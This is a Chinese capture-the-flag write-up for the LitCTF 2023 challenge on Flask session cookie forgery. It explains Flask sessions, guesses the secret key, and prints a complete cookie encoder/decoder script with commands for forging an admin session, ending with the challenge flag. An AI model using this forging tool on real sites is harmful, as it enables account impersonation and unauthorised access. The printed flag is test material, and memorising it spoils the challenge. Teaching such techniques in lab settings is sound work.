[LitCTF 2023]Flag点击就送!(cookie伪造)

本文涉及的产品
密钥管理服务KMS,1000个密钥,100个凭据,1个月
简介: [LitCTF 2023]Flag点击就送!(cookie伪造)

随便输一个名字

尝试admin

但是我们在cookie里找到了一些东西

session:"eyJuYW1lIjoiYWRtaW4ifQ.ZGs1vw.7ikpuOhUtXxyB2UV-FH7UGIZkaE"


想到session伪造


先说一下session的作用:

由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。

用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。


session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。


通过查看发现web构架为flask,


Flask是一个轻量级的Python Web框架,它具有简单、灵活、易扩展等特点。

flask session的储存方式:

第一种方式:直接存在客户端的cookies中

第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。


flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。


flask的session格式:


flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。


将cookie值进行base64解码

输出是json格式存储,还有一堆乱码,应该就是数据签名。


json的全称为:JavaScript Object Notation,是一种轻量级的数据交互格式。


JSON支持数据格式:


json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array


对象:使用花括号

数组:使用方括号

字符串类型:必须使用双引号

整形、浮点型、布尔类型还有null类型

多个数据之间使用逗号分开


json本质上就是一个字符串


来看一段json数据:{"name":"admin","age":18}


要进行session伪造我们就要先得到secret_key,这里猜测key为LitCTF

附上Python脚本

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
                    data = payload.split(".")[0]
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
                    return data
                else:
                    app = MockApp(secret_key)
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)
                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)
                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value
                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]
                    data = payload.split(".")[0]
                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)
                    return data
                else:
                    app = MockApp(secret_key)
                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)
                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")
    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)
    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)
    ## get args
    args = parser.parse_args()
    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

上面脚本的用法:

解密

python flask_session_cookie_manager3.py decode -s 'secret_key' -c '需要解密的session值'

加密

python flask_session_cookie_manager3.py encode -s 'secret_key' -t '需要加密的session值'

(flask_session_cookie_manager3.py是你保存的脚本的名字)

因为题目说只有管理员才能拿到flag

根据前面base64解码得到session(json)格式,我们将name伪造为admin

并对session数据进行加密

将伪造的cookie传给session

拿到flag

NSSCTF{df845e3b-f834-405e-9a49-3f847c5341fe}

目录
相关文章
|
4月前
|
Web App开发 安全 前端开发
X-Frame-Options响应头防点击劫持
X-Frame-Options响应头防点击劫持
95 6
|
5月前
|
存储 JavaScript 前端开发
Cookie 反制策略详解:Cookie加解密原理、Cookie和Session机制、Cookie hook、acw_sc__v2、jsl Cookie调试、重定向Cookie
Cookie 反制策略详解:Cookie加解密原理、Cookie和Session机制、Cookie hook、acw_sc__v2、jsl Cookie调试、重定向Cookie
316 1
|
5月前
|
存储 安全 JavaScript
服务器验证Cookie
【8月更文挑战第21天】
84 1
|
8月前
BurpSuite2021 -- Intruder模块(带token爆破)
BurpSuite2021 -- Intruder模块(带token爆破)
131 1
|
8月前
|
存储 JavaScript PHP
什么是cookie,如何设置在浏览器页面关闭后清除cookie
什么是cookie,如何设置在浏览器页面关闭后清除cookie
492 0
|
存储 安全 Java
网站安全测试,会话 cookie 中缺少 HttpOnly 属性
可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务 “HttpOnly”属性的会话 cookie。由于此会话 cookie 不包含“HttpOnly”属性,因此 注入站点的恶意脚本可能访问此 cookie,并窃取它的值。任何存储在会话令牌中的 信息都可能被窃取,并在稍后用于身份盗窃或用户伪装。
716 0
|
Java
网页退出登录,清空session,设置登录页面的浏览器的返回按钮失效!
网页退出登录,清空session,设置登录页面的浏览器的返回按钮失效!
190 0
|
Java API 数据库
请求地址中主动携带Cookies信息通过登录验证
最近在做一个机关单位的项目,他们的项目基本都是部署在内部网络中,并且都做了单点登录验证,即就是该网站上挂载了许多的系统和应用,访问其中的某一个系统和应用的时候,都会被单点登录拦截在登录页面,必须登录该网站,才能访问其中的系统及应用
131 0
请求地址中主动携带Cookies信息通过登录验证
|
存储 安全 数据安全/隐私保护
access-control漏洞系列-绕过阻止预览链接
背景 复现步骤 access-control漏洞系列-绕过阻止预览链接
331 0
68 cookie在登录中的作用
68 cookie在登录中的作用
105 0
68 cookie在登录中的作用